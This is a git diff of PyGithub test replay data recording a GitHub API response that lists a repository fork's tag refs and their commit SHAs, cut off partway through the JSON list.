a/tests/ReplayData/Repository.testGetMatchingRefs.txt b/tests/ReplayData/Repository.testGetMatchingRefs.txt index 4b33114c08..2f9239544d 100644 --- a/tests/ReplayData/Repository.testGetMatchingRefs.txt +++ b/tests/ReplayData/Repository.testGetMatchingRefs.txt @@ -30,4 +30,3 @@ None 200 [('Date', 'Thu, 16 Apr 2020 20:02:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4921'), ('X-RateLimit-Reset', '1587068140'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"32f41b63919b120eee35ef9a2bbd8062"'), ('Last-Modified', 'Mon, 13 Apr 2020 14:45:20 GMT'), ('X-Poll-Interval', '300'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87EA:29EAD:1D89F98:22D2F61:5E98B9E5')] [{"ref":"refs/tags/v0.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.1","object":{"sha":"fc28301862c0118b88cc94da678fb5104b249370","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fc28301862c0118b88cc94da678fb5104b249370"}},{"ref":"refs/tags/v0.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.2","object":{"sha":"48cabc0fc3b1a9767d6f0db9f6058f24681cada7","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/48cabc0fc3b1a9767d6f0db9f6058f24681cada7"}},{"ref":"refs/tags/v0.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.3","object":{"sha":"4870747f5faf15ba38ece8211283ef87b25679c1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/4870747f5faf15ba38ece8211283ef87b25679c1"}},{"ref":"refs/tags/v0.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.4","object":{"sha":"26fb28983636cb4773acb5581f4a443cd0aef808","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/26fb28983636cb4773acb5581f4a443cd0aef808"}},{"ref":"refs/tags/v0.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.5","object":{"sha":"c88b802b71cf19cfbc2e915dbb8a0e98f235a926","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c88b802b71cf19cfbc2e915dbb8a0e98f235a926"}},{"ref":"refs/tags/v0.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.6","object":{"sha":"f5f37322407b02a80de4526ad88d5f188977bc3c","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c"}},{"ref":"refs/tags/v0.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.7","object":{"sha":"78ca479ac54294dabd16a6644bbe5e013fabf183","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/78ca479ac54294dabd16a6644bbe5e013fabf183"}},{"ref":"refs/tags/v1.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.0","object":{"sha":"8bcae35db2ac5678c291d0fa489a18779af6ba81","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8bcae35db2ac5678c291d0fa489a18779af6ba81"}},{"ref":"refs/tags/v1.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.1","object":{"sha":"3d3dd63439c9bf004701b81c424393bb47221ab8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/3d3dd63439c9bf004701b81c424393bb47221ab8"}},{"ref":"refs/tags/v1.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.2","object":{"sha":"5d2fe09d780075ca09d8b3e41360742339ffbddd","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5d2fe09d780075ca09d8b3e41360742339ffbddd"}},{"ref":"refs/tags/v1.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.3","object":{"sha":"f5c7ed9165712cbf6a4532f6909f7042046f65ba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f5c7ed9165712cbf6a4532f6909f7042046f65ba"}},{"ref":"refs/tags/v1.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.4","object":{"sha":"ec8db4b6b507df9db4b54addb3beb21cc1fa7ee0","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ec8db4b6b507df9db4b54addb3beb21cc1fa7ee0"}},{"ref":"refs/tags/v1.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.5","object":{"sha":"e885b6bb1885c07842fe54f7d36cac8b4d3de5d1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e885b6bb1885c07842fe54f7d36cac8b4d3de5d1"}},{"ref":"refs/tags/v1.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.6","object":{"sha":"6924d6646f9578d065222b24582139fb40b5e89e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6924d6646f9578d065222b24582139fb40b5e89e"}},{"ref":"refs/tags/v1.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.7","object":{"sha":"d89fa5be707125f4cf5c3c12461bfd9c15dd844b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/d89fa5be707125f4cf5c3c12461bfd9c15dd844b"}},{"ref":"refs/tags/v1.8.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjguMA==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.8.0","object":{"sha":"953d09d63c1a4131bc5c03a299a05115521f5f0e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/953d09d63c1a4131bc5c03a299a05115521f5f0e"}},{"ref":"refs/tags/v1.8.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjguMQ==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.8.1","object":{"sha":"684716187df9aced842d00aeb0c69a9e54aefa2f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/684716187df9aced842d00aeb0c69a9e54aefa2f"}},{"ref":"refs/tags/v1.9.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjkuMA==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.9.0","object":{"sha":"c7c3cd5a4605855edb5356191159d4836762bb88","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c7c3cd5a4605855edb5356191159d4836762bb88"}},{"ref":"refs/tags/v1.9.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjkuMQ==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.9.1","object":{"sha":"5605aa0b295cda8ec06c5842145a35f59596d954","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5605aa0b295cda8ec06c5842145a35f59596d954"}},{"ref":"refs/tags/v1.10.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEwLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.10.0","object":{"sha":"22e1edf6746fbf0aafb67880101d9b05f33cead2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/22e1edf6746fbf0aafb67880101d9b05f33cead2"}},{"ref":"refs/tags/v1.11.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjExLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.11.0","object":{"sha":"8845a579160bff915b67a6facfacdfe479668d8e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8845a579160bff915b67a6facfacdfe479668d8e"}},{"ref":"refs/tags/v1.11.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjExLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.11.1","object":{"sha":"146e9bf90620bfc519a19a2ff859999cb99873f2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/146e9bf90620bfc519a19a2ff859999cb99873f2"}},{"ref":"refs/tags/v1.12.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.0","object":{"sha":"fa31d8f8785b6d79d1a870f097422a40956ab209","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fa31d8f8785b6d79d1a870f097422a40956ab209"}},{"ref":"refs/tags/v1.12.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.1","object":{"sha":"435bd89ce3993894a9f5f468522cacbca1cad389","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/435bd89ce3993894a9f5f468522cacbca1cad389"}},{"ref":"refs/tags/v1.12.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.2","object":{"sha":"4114332a0ed5b205a569fe75808321216d363753","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/4114332a0ed5b205a569fe75808321216d363753"}},{"ref":"refs/tags/v1.13.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEzLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.13.0","object":{"sha":"5b1b6ea6d63e6557ed2167ea204a867bc715af47","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5b1b6ea6d63e6557ed2167ea204a867bc715af47"}},{"ref":"refs/tags/v1.13.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEzLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.13.1","object":{"sha":"46b80131026c6338f04863feb62747c1073d8ec2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/46b80131026c6338f04863feb62747c1073d8ec2"}},{"ref":"refs/tags/v1.14.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.0","object":{"sha":"ae0118a152f331cda95b9d5187c74a3e543e55e5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ae0118a152f331cda95b9d5187c74a3e543e55e5"}},{"ref":"refs/tags/v1.14.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.1","object":{"sha":"46a509e20f972db2c72279be87fc1bb37cabf7e1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/46a509e20f972db2c72279be87fc1bb37cabf7e1"}},{"ref":"refs/tags/v1.14.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.2","object":{"sha":"81ba5b8a9445e6f81f142eb460611144f7671d49","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/81ba5b8a9445e6f81f142eb460611144f7671d49"}},{"ref":"refs/tags/v1.15.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE1LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.15.0","object":{"sha":"12ac52f43fdb0e3ce2744382408504c6921794b6","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/12ac52f43fdb0e3ce2744382408504c6921794b6"}},{"ref":"refs/tags/v1.16.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE2LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.16.0","object":{"sha":"21cebaaf3b0fd8d9181d130ff05126810d0a39af","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/21cebaaf3b0fd8d9181d130ff05126810d0a39af"}},{"ref":"refs/tags/v1.17.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE3LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.17.0","object":{"sha":"a08db4387b1294359e283f2a5c2c79584e23450f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/a08db4387b1294359e283f2a5c2c79584e23450f"}},{"ref":"refs/tags/v1.18.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE4LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.18.0","object":{"sha":"8088a1f24bc867d298553ee227f672c27b05a05f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8088a1f24bc867d298553ee227f672c27b05a05f"}},{"ref":"refs/tags/v1.19.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE5LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.19.0","object":{"sha":"602126a0ec95fa8bca0e24d5a171b359b4001d24","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/602126a0ec95fa8bca0e24d5a171b359b4001d24"}},{"ref":"refs/tags/v1.20.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIwLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.20.0","object":{"sha":"e1c23bc9fa47b52b13a1858faba4b90c8e89e79a","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e1c23bc9fa47b52b13a1858faba4b90c8e89e79a"}},{"ref":"refs/tags/v1.21.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIxLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.21.0","object":{"sha":"5eb08f2df7062e413806f201b73b7700913234e8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5eb08f2df7062e413806f201b73b7700913234e8"}},{"ref":"refs/tags/v1.22.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIyLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.22.0","object":{"sha":"8b4b9729615ab49e9e96f8d06694e773c61271c5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8b4b9729615ab49e9e96f8d06694e773c61271c5"}},{"ref":"refs/tags/v1.23.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIzLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.23.0","object":{"sha":"59f350dd23b402b4055f4d28268b2e79e1340b8b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/59f350dd23b402b4055f4d28268b2e79e1340b8b"}},{"ref":"refs/tags/v1.24.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI0LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.24.0","object":{"sha":"ed6cc2535c90678530c1dab623007871803ab1c9","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ed6cc2535c90678530c1dab623007871803ab1c9"}},{"ref":"refs/tags/v1.24.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.24.1","object":{"sha":"fcc13d123fb52767e48ae7fe1610a3030f290892","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fcc13d123fb52767e48ae7fe1610a3030f290892"}},{"ref":"refs/tags/v1.25.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.0","object":{"sha":"1f9f8c034f87fc3c094579b0fa580ada00e15895","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1f9f8c034f87fc3c094579b0fa580ada00e15895"}},{"ref":"refs/tags/v1.25.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.1","object":{"sha":"b54d9d8e32d9348da7771772c2c9f26a624762b5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b54d9d8e32d9348da7771772c2c9f26a624762b5"}},{"ref":"refs/tags/v1.25.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.2","object":{"sha":"41a3d4a362ac4beb05077feaec288a49e69f7b52","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/41a3d4a362ac4beb05077feaec288a49e69f7b52"}},{"ref":"refs/tags/v1.26.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI2LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.26.0","object":{"sha":"c73b4d0f0f124c1313551891306bc533eed1aa74","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c73b4d0f0f124c1313551891306bc533eed1aa74"}},{"ref":"refs/tags/v1.27.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI3LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.27.0","object":{"sha":"e3824433cf8353c12656834a76d093da1d696cba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e3824433cf8353c12656834a76d093da1d696cba"}},{"ref":"refs/tags/v1.27.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI3LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.27.1","object":{"sha":"d25bbdc371235300c6499e13448bcf953b2721ba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/d25bbdc371235300c6499e13448bcf953b2721ba"}},{"ref":"refs/tags/v1.28","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI4","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.28","object":{"sha":"b3fef2eadb8a220098e5fc3e35c4eef6e098b491","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b3fef2eadb8a220098e5fc3e35c4eef6e098b491"}},{"ref":"refs/tags/v1.29","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI5","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.29","object":{"sha":"f0379d64ffd2173e3a7ffe91584fc05a04b25956","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f0379d64ffd2173e3a7ffe91584fc05a04b25956"}},{"ref":"refs/tags/v1.30","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMw","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.30","object":{"sha":"0a75af570d85f68c95049e8258b711e92f814b39","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/0a75af570d85f68c95049e8258b711e92f814b39"}},{"ref":"refs/tags/v1.31","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMx","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.31","object":{"sha":"2defb8920e3b2d379e9e6227911a10268a368d78","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/2defb8920e3b2d379e9e6227911a10268a368d78"}},{"ref":"refs/tags/v1.32","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMy","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.32","object":{"sha":"414f6e648f4da87f10bae7d01948a63dc82b80f8","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/414f6e648f4da87f10bae7d01948a63dc82b80f8"}},{"ref":"refs/tags/v1.33","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMz","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.33","object":{"sha":"00dd970d78b181bb8dead5f62595a6005134bd4a","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/00dd970d78b181bb8dead5f62595a6005134bd4a"}},{"ref":"refs/tags/v1.34","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM0","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.34","object":{"sha":"6345bf49c6520f8d9a56d4fc61e023b826a5b3e3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6345bf49c6520f8d9a56d4fc61e023b826a5b3e3"}},{"ref":"refs/tags/v1.35","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM1","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.35","object":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/19310e77e3279080998e2ff230d19e6fe0743528"}},{"ref":"refs/tags/v1.36","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM2","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.36","object":{"sha":"58465a86fedd99cf4f5f66e05ea779ee73d8f8e2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/58465a86fedd99cf4f5f66e05ea779ee73d8f8e2"}},{"ref":"refs/tags/v1.37","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM3","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.37","object":{"sha":"2380ac8da1d00d24d18a37bcdf4a99a146ada72b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/2380ac8da1d00d24d18a37bcdf4a99a146ada72b"}},{"ref":"refs/tags/v1.38","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM4","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.38","object":{"sha":"1c127d4bd983a80a872e8cc8ce3dd739ab4e0945","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1c127d4bd983a80a872e8cc8ce3dd739ab4e0945"}},{"ref":"refs/tags/v1.39","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM5","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.39","object":{"sha":"5dc520d2ee8fc3e56fcd8d2a3135a36458f28f42","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5dc520d2ee8fc3e56fcd8d2a3135a36458f28f42"}},{"ref":"refs/tags/v1.40a1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a1","object":{"sha":"b2eeef26ffc131301edd11a676c8dc0321b19995","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b2eeef26ffc131301edd11a676c8dc0321b19995"}},{"ref":"refs/tags/v1.40a2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a2","object":{"sha":"fc72fd3b8615369a7b772155c51db5f766ff7773","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fc72fd3b8615369a7b772155c51db5f766ff7773"}},{"ref":"refs/tags/v1.40a3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a3","object":{"sha":"6348fca2dd70988383d56933c88ac3c531a742f2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6348fca2dd70988383d56933c88ac3c531a742f2"}},{"ref":"refs/tags/v1.40a4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a4","object":{"sha":"63cc05ec419bc3f510a7109e684efb36e22768cb","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/63cc05ec419bc3f510a7109e684efb36e22768cb"}},{"ref":"refs/tags/v1.40","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQw","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40","object":{"sha":"827cc68cf2b91808d936aee78ce2d2e9cb9794a4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/827cc68cf2b91808d936aee78ce2d2e9cb9794a4"}},{"ref":"refs/tags/v1.41","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQx","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.41","object":{"sha":"a9e590f5b81d6f3e142c18b4db8c1df45226fb3e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/a9e590f5b81d6f3e142c18b4db8c1df45226fb3e"}},{"ref":"refs/tags/v1.42","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQy","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.42","object":{"sha":"0c20643eb19cf62ec48ebf7f87f0bc6c478582a7","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/0c20643eb19cf62ec48ebf7f87f0bc6c478582a7"}},{"ref":"refs/tags/v1.43","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQz","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43","object":{"sha":"4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d"}},{"ref":"refs/tags/v1.43.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.1","object":{"sha":"ccaa6dc685d8531c530e63b555d6197c6377662e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ccaa6dc685d8531c530e63b555d6197c6377662e"}},{"ref":"refs/tags/v1.43.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.2","object":{"sha":"5d3a23c5126e2a5f70de56aa1f8f9ca40ee11331","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5d3a23c5126e2a5f70de56aa1f8f9ca40ee11331"}},{"ref":"refs/tags/v1.43.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.3","object":{"sha":"38c2ce28f3834a27cc116eb05bab167230363673","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/38c2ce28f3834a27cc116eb05bab167230363673"}},{"ref":"refs/tags/v1.43.4","node_id":"MDM6UmVmMjU1MzU1MTYw